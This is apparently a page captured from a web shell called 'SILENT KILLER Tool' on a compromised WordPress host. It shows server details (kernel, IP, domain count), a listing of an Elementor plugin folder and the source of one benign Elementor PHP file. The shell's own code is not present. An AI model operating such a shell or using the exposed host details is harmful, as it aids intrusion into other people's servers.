Current Path: > home > transcarter > > > > www > > > wp-content > plugins > elementor > core > utils
Operation : Linux host59.registrar-servers.com 4.18.0-513.18.1.lve.2.el8.x86_64 #1 SMP Sat Mar 30 15:36:11 UTC 2024 x86_64 Software : Apache Server IP : 198.54.126.42 | Your IP: 216.73.216.135 Domains : 1034 Domain(s) Permission : [ 0755 ]
Name | Type | Size | Last Modified | Actions |
---|---|---|---|---|
import-export | Directory | - | - | |
promotions | Directory | - | - | |
svg | Directory | - | - | |
assets-config-provider.php | File | 1522 bytes | July 17 2025 21:06:23. | |
assets-translation-loader.php | File | 2560 bytes | July 17 2025 21:06:23. | |
collection.php | File | 10116 bytes | July 17 2025 21:06:23. | |
exceptions.php | File | 709 bytes | July 17 2025 21:06:23. | |
force-locale.php | File | 3640 bytes | July 17 2025 21:06:23. | |
hints.php | File | 10506 bytes | July 17 2025 21:06:23. | |
http.php | File | 981 bytes | July 17 2025 21:06:23. | |
isolation-manager.php | File | 415 bytes | July 17 2025 21:06:23. | |
plugins-manager.php | File | 2908 bytes | July 17 2025 21:06:23. | |
static-collection.php | File | 1111 bytes | July 17 2025 21:06:23. | |
str.php | File | 1001 bytes | July 17 2025 21:06:23. | |
version.php | File | 3749 bytes | July 17 2025 21:06:23. |
<?php namespace Elementor\Core\Utils; if ( ! defined( 'ABSPATH' ) ) { exit; // Exit if accessed directly. } class Assets_Config_Provider extends Collection { /** * @var callable|null */ private $path_resolver = null; /** * @param callable $path_resolver * * @return $this */ public function set_path_resolver( callable $path_resolver ) { $this->path_resolver = $path_resolver; return $this; } /** * Load asset config from a file into the collection. * * @param $key * @param $path * * @return $this */ public function load( $key, $path = null ) { if ( ! $path && $this->path_resolver ) { $path_resolver_callback = $this->path_resolver; $path = $path_resolver_callback( $key ); } if ( ! $path || ! file_exists( $path ) ) { return $this; } $config = require $path; if ( ! $this->is_valid_handle( $config ) ) { return $this; } $this->items[ $key ] = [ 'handle' => $config['handle'], 'deps' => $this->is_valid_deps( $config ) ? $config['deps'] : [], ]; return $this; } /** * Check that the handle property in the config is a valid. * * @param $config * * @return bool */ private function is_valid_handle( $config ) { return ! empty( $config['handle'] ) && is_string( $config['handle'] ); } /** * Check that the deps property in the config is a valid. * * @param $config * * @return bool */ private function is_valid_deps( $config ) { return isset( $config['deps'] ) && is_array( $config['deps'] ); } }
SILENT KILLER Tool